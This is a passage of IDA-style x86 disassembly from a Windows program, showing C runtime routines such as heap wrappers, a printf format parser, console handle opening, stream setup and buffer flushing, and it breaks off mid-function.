locret_44A953: ; CODE XREF: DMN1:0044A941j
; DMN1:0044A94Cj
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_411200
jmp short loc_44A974
; =============== S U B R O U T I N E =======================================
sub_44A96A proc near ; CODE XREF: DMN1:0044A80Dp
; sub_44A8C1+4Fp
push ebx
push ecx
mov ebx, offset dword_411200
mov ecx, [ebp+8]
loc_44A974: ; CODE XREF: DMN1:0044A968j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_44A96A endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_44A991 proc near ; CODE XREF: DMN1:00449EB7p
push 0
push 1000h
push 0
call dword_411DB0
mov dword_4127F0, eax
test eax, eax
setnz al
and eax, 1
retn
sub_44A991 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; ---------------------------------------------------------------------------
mov eax, dword_4127F0
push eax
call dword_411DB4
mov dword_4127F0, 0
retn
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A9D1 proc near ; CODE XREF: sub_44A581+71p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DB8
retn
sub_44A9D1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DBC
pop ebp
retn
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44AA11 proc near ; CODE XREF: sub_4494D1+41p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC0
retn
sub_44AA11 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
mov eax, [esp+0Ch]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC4
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44AA53
xor esi, esi
jmp short loc_44AA55
; ---------------------------------------------------------------------------
loc_44AA53: ; CODE XREF: DMN1:0044AA4Dj
mov esi, ebx
loc_44AA55: ; CODE XREF: DMN1:0044AA51j
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC8
test eax, eax
setnz al
and eax, 1
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44AA81 proc near ; CODE XREF: sub_44B3B1+1p
mov eax, off_411210
push eax
call dword_411CC8
mov eax, off_411214
push eax
call dword_411CC8
mov eax, off_411218
push eax
call dword_411CC8
mov eax, off_41121C
push eax
call dword_411CC8
retn
sub_44AA81 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_44AAC1 proc near ; CODE XREF: DMN1:0044B411p
push ebx
mov ebx, 4
loc_44AAC7: ; CODE XREF: sub_44AAC1+2Aj
mov eax, off_411210[ebx*4]
test eax, eax
jz short loc_44AAE7
push eax
call dword_411DCC
mov eax, off_411210[ebx*4]
push eax
call sub_4494D1
pop ecx
loc_44AAE7: ; CODE XREF: sub_44AAC1+Fj
inc ebx
cmp ebx, 9
jl short loc_44AAC7
mov eax, off_411210
push eax
call dword_411DCC
mov eax, off_411214
push eax
call dword_411DCC
mov eax, off_411218
push eax
call dword_411DCC
mov eax, off_41121C
push eax
call dword_411DCC
pop ebx
retn
sub_44AAC1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44AB21 proc near ; CODE XREF: sub_4494D1+4Bp
; sub_4496E1+28p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
cmp off_411210[ebx*4], 0
jnz short loc_44AB86
push 18h
call sub_44A581
pop ecx
mov [ebp+var_4], eax
test eax, eax
jnz short loc_44AB4C
push 1
call sub_44B571
pop ecx
loc_44AB4C: ; CODE XREF: sub_44AB21+21j
push 3
call sub_44AB21
pop ecx
cmp off_411210[ebx*4], 0
jnz short loc_44AB74
mov eax, [ebp+var_4]
push eax
call dword_411CC8
mov eax, [ebp+var_4]
mov off_411210[ebx*4], eax
jmp short loc_44AB7E
; ---------------------------------------------------------------------------
loc_44AB74: ; CODE XREF: sub_44AB21+3Bj
mov eax, [ebp+var_4]
push eax
call sub_4494D1
pop ecx
loc_44AB7E: ; CODE XREF: sub_44AB21+51j
push 3
call sub_44ABA1
pop ecx
loc_44AB86: ; CODE XREF: sub_44AB21+12j
mov eax, off_411210[ebx*4]
push eax
call dword_411CCC
pop ebx
mov esp, ebp
pop ebp
retn
sub_44AB21 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44ABA1 proc near ; CODE XREF: sub_44953B+2p
; sub_44973C+2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, off_411210[eax*4]
push eax
call dword_411CD0
retn
sub_44ABA1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44ABC1 proc near ; CODE XREF: sub_4495A1+3Dp
; sub_449641+27p ...
var_84 = byte ptr -84h
var_50 = dword ptr -50h
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = byte ptr -6
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov [ebp+var_48], 0
mov [ebp+var_44], 0
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
mov eax, [ebp+arg_4]
mov [ebp+var_34], eax
mov [ebp+var_10], 0
loc_44ABF1: ; CODE XREF: sub_44ABC1+A4j
; sub_44ABC1+264j
mov [ebp+var_4A], 0
lea eax, [ebp+var_48]
push eax
push 7FFFFFFFh
push ebx
lea eax, [ebp+var_4A]
push eax
call sub_44BD31
add esp, 10h
mov esi, eax
test eax, eax
jg short loc_44AC1E
cmp byte ptr [ebx], 0
setnz al
and eax, 1
mov esi, eax
loc_44AC1E: ; CODE XREF: sub_44ABC1+50j
cmp [ebp+var_4A], 25h
jnz short loc_44AC2D
lea eax, [esi-1]
mov [ebp+var_50], eax
jmp short loc_44AC30
; ---------------------------------------------------------------------------
loc_44AC2D: ; CODE XREF: sub_44ABC1+62j
mov [ebp+var_50], esi
loc_44AC30: ; CODE XREF: sub_44ABC1+6Aj
mov eax, [ebp+var_50]
mov edi, eax
test eax, eax
jle short loc_44AC57
push edi
push ebx
mov eax, [ebp+var_34]
push eax
call [ebp+var_38]
add esp, 0Ch
mov [ebp+var_34], eax
test eax, eax
jnz short loc_44AC54
or eax, 0FFFFFFFFh
jmp loc_44AE2E
; ---------------------------------------------------------------------------
loc_44AC54: ; CODE XREF: sub_44ABC1+89j
add [ebp+var_10], edi
loc_44AC57: ; CODE XREF: sub_44ABC1+76j
add ebx, esi
cmp [ebp+var_4A], 25h
jz short loc_44AC6F
cmp [ebp+var_4A], 0
jnz short loc_44ABF1
mov eax, [ebp+var_10]
jmp loc_44AE2E
; ---------------------------------------------------------------------------
loc_44AC6F: ; CODE XREF: sub_44ABC1+9Dj
mov [ebp+var_18], 0
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0
mov [ebp+var_28], 0
mov [ebp+var_2C], 0
mov [ebp+var_8], 0
jmp short loc_44ACBA
; ---------------------------------------------------------------------------
loc_44ACA1: ; CODE XREF: sub_44ABC1+10Ej
movzx eax, [ebp+var_8]
mov edx, offset dword_40FAF0
mov ecx, esi
sub ecx, edx
or eax, dword_40FAF8[ecx*4]
mov [ebp+var_8], ax
inc ebx
loc_44ACBA: ; CODE XREF: sub_44ABC1+DEj
movzx eax, byte ptr [ebx]
push eax
push offset dword_40FAF0
call sub_44B261
add esp, 8
mov esi, eax
test eax, eax
jnz short loc_44ACA1
cmp byte ptr [ebx], 2Ah
jnz short loc_44ACF9
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_C], eax
test eax, eax
jge short loc_44ACF6
mov eax, [ebp+var_C]
neg eax
mov [ebp+var_C], eax
or [ebp+var_8], 4
loc_44ACF6: ; CODE XREF: sub_44ABC1+126j
inc ebx
jmp short loc_44AD2F
; ---------------------------------------------------------------------------
loc_44ACF9: ; CODE XREF: sub_44ABC1+113j
mov [ebp+var_C], 0
jmp short loc_44AD1E
; ---------------------------------------------------------------------------
loc_44AD02: ; CODE XREF: sub_44ABC1+16Cj
cmp [ebp+var_C], 7FFFFFFFh
jge short loc_44AD1D
mov eax, [ebp+var_C]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_C], eax
loc_44AD1D: ; CODE XREF: sub_44ABC1+148j
inc ebx
loc_44AD1E: ; CODE XREF: sub_44ABC1+13Fj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_44AD02
loc_44AD2F: ; CODE XREF: sub_44ABC1+136j
cmp byte ptr [ebx], 2Eh
jz short loc_44AD3A
or [ebp+var_14], 0FFFFFFFFh
jmp short loc_44AD8A
; ---------------------------------------------------------------------------
loc_44AD3A: ; CODE XREF: sub_44ABC1+171j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 2Ah
jnz short loc_44AD54
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_14], eax
inc ebx
jmp short loc_44AD8A
; ---------------------------------------------------------------------------
loc_44AD54: ; CODE XREF: sub_44ABC1+17Fj
mov [ebp+var_14], 0
jmp short loc_44AD79
; ---------------------------------------------------------------------------
loc_44AD5D: ; CODE XREF: sub_44ABC1+1C7j
cmp [ebp+var_14], 7FFFFFFFh
jge short loc_44AD78
mov eax, [ebp+var_14]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_14], eax
loc_44AD78: ; CODE XREF: sub_44ABC1+1A3j
inc ebx
loc_44AD79: ; CODE XREF: sub_44ABC1+19Aj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_44AD5D
loc_44AD8A: ; CODE XREF: sub_44ABC1+177j
; sub_44ABC1+191j
movzx eax, byte ptr [ebx]
push eax
push offset aHjltzl ; "hjltzL"
call sub_44B261
add esp, 8
test eax, eax
jz short loc_44ADA7
mov eax, ebx
inc ebx
movzx edi, byte ptr [eax]
jmp short loc_44ADA9
; ---------------------------------------------------------------------------
loc_44ADA7: ; CODE XREF: sub_44ABC1+1DCj
xor edi, edi
loc_44ADA9: ; CODE XREF: sub_44ABC1+1E4j
mov eax, edi
mov [ebp+var_6], al
cmp al, 68h
jnz short loc_44ADBE
cmp byte ptr [ebx], 68h
jnz short loc_44ADBE
mov [ebp+var_6], 62h
inc ebx
jmp short loc_44ADEE
; ---------------------------------------------------------------------------
loc_44ADBE: ; CODE XREF: sub_44ABC1+1EFj
; sub_44ABC1+1F4j
cmp [ebp+var_6], 6Ch
jnz short loc_44ADD0
cmp byte ptr [ebx], 6Ch
jnz short loc_44ADD0
mov [ebp+var_6], 71h
inc ebx
jmp short loc_44ADEE
; ---------------------------------------------------------------------------
loc_44ADD0: ; CODE XREF: sub_44ABC1+201j
; sub_44ABC1+206j
cmp [ebp+var_6], 0
jnz short loc_44ADEE
cmp byte ptr [ebx], 49h
jnz short loc_44ADEE
cmp byte ptr [ebx+1], 36h
jnz short loc_44ADEE
cmp byte ptr [ebx+2], 34h
jnz short loc_44ADEE
mov [ebp+var_6], 71h
add ebx, 3
loc_44ADEE: ; CODE XREF: sub_44ABC1+1FBj
; sub_44ABC1+20Dj ...
lea eax, [ebp+var_84]
push eax
mov eax, ebx
inc ebx
movzx eax, byte ptr [eax]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_44C011
add esp, 10h
test eax, eax
jnz short loc_44AE2B
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_40]
push eax
call sub_44C751
add esp, 8
test eax, eax
jge loc_44ABF1
loc_44AE2B: ; CODE XREF: sub_44ABC1+24Dj
or eax, 0FFFFFFFFh
loc_44AE2E: ; CODE XREF: sub_44ABC1+8Ej
; sub_44ABC1+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44ABC1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44AE41 proc near ; CODE XREF: sub_449641+6p
cmp dword_411234, 0
jz short loc_44AE50
mov eax, dword_411234
retn
; ---------------------------------------------------------------------------
loc_44AE50: ; CODE XREF: sub_44AE41+7j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConout ; "CONOUT$"
call dword_411DD0
retn
sub_44AE41 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
cmp dword_411238, 0
jz short loc_44AE80
mov eax, dword_411238
retn
; ---------------------------------------------------------------------------
loc_44AE80: ; CODE XREF: DMN1:0044AE78j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConin ; "CONIN$"
call dword_411DD0
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44AEA1 proc near ; CODE XREF: sub_4496E1+35p
push ebx
push esi
xor esi, esi
xor ebx, ebx
loc_44AEA7: ; CODE XREF: sub_44AEA1+4Ej
cmp off_411370[ebx*4], 0
jnz short loc_44AECD
push 4Ch
call sub_44A581
pop ecx
mov esi, eax
test esi, esi
jz short loc_44AEF1
mov off_411370[ebx*4], esi
mov word ptr [esi], 80h
jmp short loc_44AEF1
; ---------------------------------------------------------------------------
loc_44AECD: ; CODE XREF: sub_44AEA1+Ej
mov eax, off_411370[ebx*4]
cmp word ptr [eax], 0
jnz short loc_44AEE8
mov esi, off_411370[ebx*4]
mov word ptr [esi], 0FF7Fh
jmp short loc_44AEF1
; ---------------------------------------------------------------------------
loc_44AEE8: ; CODE XREF: sub_44AEA1+37j
inc ebx
cmp ebx, 100h
jb short loc_44AEA7
loc_44AEF1: ; CODE XREF: sub_44AEA1+1Cj
; sub_44AEA1+2Aj ...
mov eax, esi
pop esi
pop ebx
retn
sub_44AEA1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44AF01 proc near ; CODE XREF: sub_4496E1+45p
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_44AF18
xor eax, eax
jmp loc_44B03C
; ---------------------------------------------------------------------------
loc_44AF18: ; CODE XREF: sub_44AF01+Ej
mov ax, [ebx]
and ax, 80h
mov [ebp+var_2], ax
mov edi, ebx
mov esi, offset dword_40FB28
mov ecx, 13h
rep movsd
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 72h
jnz short loc_44AF72
mov [ebp+var_8], 1
jmp short loc_44AF99
; ---------------------------------------------------------------------------
loc_44AF72: ; CODE XREF: sub_44AF01+66j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 77h
jnz short loc_44AF83
mov [ebp+var_8], 1Ah
jmp short loc_44AF96
; ---------------------------------------------------------------------------
loc_44AF83: ; CODE XREF: sub_44AF01+77j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 61h
setnz al
and eax, 1
dec eax
and eax, 16h
mov [ebp+var_8], eax
loc_44AF96: ; CODE XREF: sub_44AF01+80j
mov eax, [ebp+var_8]
loc_44AF99: ; CODE XREF: sub_44AF01+6Fj
movzx eax, [ebp+var_2]
or eax, [ebp+var_8]
mov [ebx], ax
test word ptr [ebx], 3
jnz short loc_44AFDC
push ebx
call sub_449941
pop ecx
xor eax, eax
jmp loc_44B03C
; ---------------------------------------------------------------------------
loc_44AFB8: ; CODE XREF: sub_44AF01+E5j
; sub_44AF01+EDj
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 62h
jnz short loc_44AFCD
test word ptr [ebx], 20h
jnz short loc_44AFF0
or word ptr [ebx], 20h
jmp short loc_44AFDC
; ---------------------------------------------------------------------------
loc_44AFCD: ; CODE XREF: sub_44AF01+BDj
movzx eax, word ptr [ebx]
and eax, 3
cmp eax, 3
jz short loc_44AFF0
or word ptr [ebx], 3
loc_44AFDC: ; CODE XREF: sub_44AF01+A7j
; sub_44AF01+CAj
mov eax, [ebp+arg_4]
inc eax
mov [ebp+arg_4], eax
cmp byte ptr [eax], 62h
jz short loc_44AFB8
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 2Bh
jz short loc_44AFB8
loc_44AFF0: ; CODE XREF: sub_44AF01+C4j
; sub_44AF01+D5j
cmp [ebp+arg_0], 0
jz short loc_44B01E
mov eax, [ebp+arg_4]
push eax
movzx eax, word ptr [ebx]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44C9C1
add esp, 0Ch
mov [ebx+4], eax
cmp dword ptr [ebx+4], 0
jge short loc_44B035
push ebx
call sub_449941
pop ecx
xor eax, eax
jmp short loc_44B03C
; ---------------------------------------------------------------------------
loc_44B01E: ; CODE XREF: sub_44AF01+F3j
cmp [ebp+arg_C], 0
jge short loc_44B02F
push ebx
call sub_449941
pop ecx
xor eax, eax
jmp short loc_44B03C
; ---------------------------------------------------------------------------
loc_44B02F: ; CODE XREF: sub_44AF01+121j
mov eax, [ebp+arg_C]
mov [ebx+4], eax
loc_44B035: ; CODE XREF: sub_44AF01+110j
call sub_4497E1
mov eax, ebx
loc_44B03C: ; CODE XREF: sub_44AF01+12j
; sub_44AF01+B2j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44AF01 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B051 proc near ; CODE XREF: sub_4497E1+4Dp
arg_0 = dword ptr 4
mov eax, dword_4111A4
cmp dword_4111A0, eax
ja short loc_44B065
call sub_44CA31
jmp short locret_44B07E
; ---------------------------------------------------------------------------
loc_44B065: ; CODE XREF: sub_44B051+Bj
mov eax, dword_4111A4
lea edx, [eax+1]
mov dword_4111A4, edx
mov edx, [esp+arg_0]
mov dword_411060[eax*4], edx
locret_44B07E: ; CODE XREF: sub_44B051+12j
retn
sub_44B051 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B081 proc near ; CODE XREF: sub_449861+8p
; sub_449B41+D0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_44B0DF
push 6
call sub_44AB21
pop ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
jmp short loc_44B0C9
; ---------------------------------------------------------------------------
loc_44B0A9: ; CODE XREF: sub_44B081+4Fj
mov eax, [ebp+var_4]
mov eax, off_411370[eax*4]
test eax, eax
jz short loc_44B0C6
push eax
call sub_44B081
pop ecx
test eax, eax
jge short loc_44B0C6
or [ebp+var_8], 0FFFFFFFFh
loc_44B0C6: ; CODE XREF: sub_44B081+34j
; sub_44B081+3Fj
inc [ebp+var_4]
loc_44B0C9: ; CODE XREF: sub_44B081+26j
cmp [ebp+var_4], 100h
jl short loc_44B0A9
push 6
call sub_44ABA1
pop ecx
mov eax, [ebp+var_8]
jmp short loc_44B151
; ---------------------------------------------------------------------------
loc_44B0DF: ; CODE XREF: sub_44B081+Ej
test word ptr [ebx], 2000h
jnz short loc_44B0EA
xor eax, eax
jmp short loc_44B151
; ---------------------------------------------------------------------------
loc_44B0EA: ; CODE XREF: sub_44B081+63j
mov esi, [ebx+8]
jmp short loc_44B126
; ---------------------------------------------------------------------------
loc_44B0EF: ; CODE XREF: sub_44B081+A8j
mov eax, [ebx+10h]
sub eax, esi
push eax
push esi
mov eax, [ebx+4]
push eax
call sub_44CC41
add esp, 0Ch
mov edi, eax
test edi, edi
jg short loc_44B124
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
mov [ebx+18h], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
or word ptr [ebx], 200h
or eax, 0FFFFFFFFh
jmp short loc_44B151
; ---------------------------------------------------------------------------
loc_44B124: ; CODE XREF: sub_44B081+85j
add esi, edi
loc_44B126: ; CODE XREF: sub_44B081+6Cj
cmp esi, [ebx+10h]
jb short loc_44B0EF
mov eax, [ebx+8]
mov [ebx+10h], eax
test word ptr [ebx], 0C00h
jz short loc_44B13D
mov esi, [ebx+8]
jmp short loc_44B140
; ---------------------------------------------------------------------------
loc_44B13D: ; CODE XREF: sub_44B081+B5j
mov esi, [ebx+0Ch]
loc_44B140: ; CODE XREF: sub_44B081+BAj
test word ptr [ebx], 4000h
jz short loc_44B14C
mov [ebx+18h], esi
jmp short loc_44B14F
; ---------------------------------------------------------------------------
loc_44B14C: ; CODE XREF: sub_44B081+C4j
mov [ebx+30h], esi
loc_44B14F: ; CODE XREF: sub_44B081+C9j
xor eax, eax
loc_44B151: ; CODE XREF: sub_44B081+5Cj
; sub_44B081+67j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B081 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B161 proc near ; CODE XREF: sub_44B201+41p
; sub_44DCC1+328p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
mov ebx, [ebp+arg_0]
push ebx
call sub_44CF41
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_44B1B0
cmp ebx, 1
jz short loc_44B184
cmp ebx, 2
jnz short loc_44B19E
loc_44B184: ; CODE XREF: sub_44B161+1Cj
push 1
call sub_44CF41
pop ecx
mov [ebp+var_4], eax
push 2
call sub_44CF41
pop ecx
mov edx, [ebp+var_4]
cmp edx, eax
jz short loc_44B1B0
loc_44B19E: ; CODE XREF: sub_44B161+21j
push ebx
call sub_44CF41
pop ecx
push eax
call dword_411CF8
test eax, eax
jz short loc_44B1B4
loc_44B1B0: ; CODE XREF: sub_44B161+17j
; sub_44B161+3Bj
xor esi, esi
jmp short loc_44B1BC
; ---------------------------------------------------------------------------
loc_44B1B4: ; CODE XREF: sub_44B161+4Dj
call dword_411CE8
mov esi, eax
loc_44B1BC: ; CODE XREF: sub_44B161+51j
push ebx
call sub_44CDF1
pop ecx
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+4], 0
test esi, esi
jz short loc_44B1EC
push esi
call sub_44A621
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44B1EE
; ---------------------------------------------------------------------------
loc_44B1EC: ; CODE XREF: sub_44B161+7Dj
xor eax, eax
loc_44B1EE: ; CODE XREF: sub_44B161+89j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B161 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B201 proc near ; CODE XREF: sub_449861+30p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_44B22A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44B23A
loc_44B22A: ; CODE XREF: sub_44B201+Cj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44B253
; ---------------------------------------------------------------------------
loc_44B23A: ; CODE XREF: sub_44B201+27j
push ebx
call sub_44D061
pop ecx
push ebx
call sub_44B161
pop ecx
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44B253: ; CODE XREF: sub_44B201+37j
pop esi
pop ebx
retn
sub_44B201 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B261 proc near ; CODE XREF: sub_449AA1+39p
; sub_44ABC1+102p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
mov dl, al
jmp short loc_44B276
; ---------------------------------------------------------------------------
loc_44B26D: ; CODE XREF: sub_44B261+17j
cmp byte ptr [ecx], 0
jnz short loc_44B275
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_44B275: ; CODE XREF: sub_44B261+Fj
inc ecx
loc_44B276: ; CODE XREF: sub_44B261+Aj
cmp [ecx], dl
jnz short loc_44B26D
mov eax, ecx
retn
sub_44B261 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B281 proc near ; CODE XREF: sub_449B41+3Dp
; sub_44F1E1+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
jbe short loc_44B29A
xor eax, eax
jmp loc_44B373
; ---------------------------------------------------------------------------
loc_44B29A: ; CODE XREF: sub_44B281+10j
movzx eax, word ptr [ebx]
and eax, 9002h
cmp eax, 2
jz short loc_44B2D6
movzx eax, word ptr [ebx]
mov [ebp+var_4], eax
test eax, 8000h
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 200h
mov edx, [ebp+var_4]
or edx, eax
mov ax, dx
mov [ebx], ax
or eax, 0FFFFFFFFh
jmp loc_44B373
; ---------------------------------------------------------------------------
loc_44B2D6: ; CODE XREF: sub_44B281+24j
movzx eax, word ptr [ebx]
and eax, 6000h
cmp eax, 6000h
jnz short loc_44B2FD
mov eax, [ebx+0Ch]
cmp eax, [ebx+10h]
ja short loc_44B2FD
push ebx
call sub_44B081
pop ecx
test eax, eax
jz short loc_44B2FD
or eax, 0FFFFFFFFh
jmp short loc_44B373
; ---------------------------------------------------------------------------
loc_44B2FD: ; CODE XREF: sub_44B281+62j
; sub_44B281+6Aj ...
test word ptr [ebx], 0C00h
jnz short loc_44B30C
lea eax, [ebx+48h]
cmp eax, [ebx+8]
jz short loc_44B30E
loc_44B30C: ; CODE XREF: sub_44B281+81j
jmp short loc_44B360
; ---------------------------------------------------------------------------
loc_44B30E: ; CODE XREF: sub_44B281+89j
push 200h
call sub_44A581
pop ecx
mov [ebx+8], eax
test eax, eax
jnz short loc_44B33A
lea eax, [ebx+48h]
mov [ebx+8], eax
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
inc eax
mov [ebx+0Ch], eax
call sub_4497E1
jmp short loc_44B360
; ---------------------------------------------------------------------------
loc_44B33A: ; CODE XREF: sub_44B281+9Dj
or word ptr [ebx], 40h
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
add eax, 200h
mov [ebx+0Ch], eax
mov eax, [ebx+8]
mov [ebx+2Ch], eax
mov eax, [ebx+8]
